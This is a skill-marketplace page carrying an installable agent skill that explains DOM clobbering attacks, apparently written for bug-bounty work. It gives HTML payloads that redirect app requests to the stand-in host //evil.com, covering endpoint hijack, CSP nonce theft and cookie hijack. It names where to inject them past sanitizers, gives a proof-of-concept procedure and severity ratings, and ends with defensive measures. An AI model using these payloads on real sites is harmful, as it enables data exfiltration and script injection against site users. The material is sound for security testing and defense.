# Dom Clobbering

> DOM clobbering — abuse named HTML elements to overwrite JavaScript global variables, bypass CSP, hijack object property lookups.

- Skill: `purpleailab/dom-clobbering` (Agent Skill)
- Install (CLI): `npx skillmds@latest add purpleailab/dom-clobbering`
- Raw SKILL.md: https://api.skillmd.com/api/skills/purpleailab/dom-clobbering/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Web & Frontend
- Author: purpleailab (https://skillmd.com/u/purpleailab)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/purpleailab/dom-clobbering

---


# DOM Clobbering

Named HTML elements (`<form>`, `<a>`, `<input>`, `<img>`) with `name=`
or `id=` are accessible as JavaScript properties of `window` and `document`.
If app code does `if (window.config.endpoint)` and attacker can inject
HTML (even sanitized), they can replace `window.config` with an HTML
element.

## 1. The classic
```html
<!-- App code -->
<script>
if (window.config && window.config.endpoint) {
    fetch(window.config.endpoint + '/data');
}
</script>

<!-- Attacker-injected HTML (passes most sanitizers — no script/event handlers) -->
<form id="config"><input name="endpoint" value="//evil.com"></form>
```

`window.config` resolves to the form. `window.config.endpoint` resolves
to the input. `.endpoint` is now `"//evil.com"`. App fetches from evil.

## 2. Common targets

- `window.location` overwrite (anchor w/ `id=location`)
- Library global config (jQuery's `$.cookie`, etc)
- CSP nonce/source values read from globals
- `document.cookie` (limited but exploitable)
- `window.onerror` clobber

## 3. Payload patterns

### Single-element clobber
```html
<a id="config" href="//evil.com"></a>
<!-- window.config is the anchor; window.config.toString() returns "//evil.com" -->
```

### Multi-level clobber (`a.b.c`)
```html
<form id="config"><input name="endpoint" value="//evil.com"></form>
<!-- window.config.endpoint = "//evil.com" -->

<!-- Deeper nesting via name= chaining is more limited; needs Document Proxy or specific browsers -->
```

### CSP nonce theft
```html
<!-- App: <script nonce="ABC123"> -->
<form name="nonce"><input name="nonce" value="ABC123"></form>
<!-- Some code reads window.nonce.value (rare but exists) -->
```

### Cookie attribute hijack
```html
<form name="cookie" action="//evil.com"></form>
<!-- document.cookie unchanged but some libs read window.cookie -->
```

## 4. Where to inject

DOM clobbering payloads pass MOST HTML sanitizers (DOMPurify default,
sanitize-html, bleach) because they contain no script tags or event
handlers. Targets:

- CMS rich-text content
- Markdown renderers (especially raw HTML-allowed)
- Comment systems
- Profile fields rendered into the page

## 5. Detection

```javascript
// In browser console on a target page, list all "named" elements that exist:
Array.from(document.getElementsByTagName('*'))
  .filter(e => e.name || e.id)
  .map(e => [e.tagName, e.name || e.id]);

// Then check which of these names also exist as window properties used by app JS
// (grep app JS bundle for `window.<name>` references)
```

## 6. PoC

Find an HTML-injection sink (not strict XSS) that passes sanitizer
because no JS. Inject the form clobber. Confirm via observed network
request to `//evil.com` (DNS-level via interactsh).

## 7. Severity

| Bug | Severity |
|---|---|
| Clobber → CSP bypass enabling stored XSS | Critical 9.0 |
| Clobber of endpoint → exfil PII | High 8.0 |
| Clobber of OAuth flow config | Critical 9.0 |
| Standalone clobber w/o exploitable chain | Low-Medium |

## 8. Defender

- Sanitizers should strip `id=` and `name=` from user content (DOMPurify
  has `ALLOW_DATA_ATTR: false` + `FORBID_ATTR: ['id', 'name']` config)
- Use `Object.defineProperty(window, 'config', {value: cfg, writable: false})`
  for security-critical globals
- Use scoped namespaces instead of window globals
- CSP `script-src` w/ hashes (not just nonces) — DOM clobbering can't fake the hash

## Cross-references
- Upstream: `skills/_corpus/payloads/DOM Clobbering/`
- XSS overlap: `skills/exploit/web/xss.md`
- CSS injection (similar tactical mindset): `skills/exploit/web/css-injection/SKILL.md` (when added)

## Known exemplars
- Gareth Heyes / PortSwigger 2020 paper "DOM Clobbering for fun and profit"
- Bypass of Google's Closure templating system
- Multiple HackerOne reports for $5-15k on enterprise CMS clobber chains

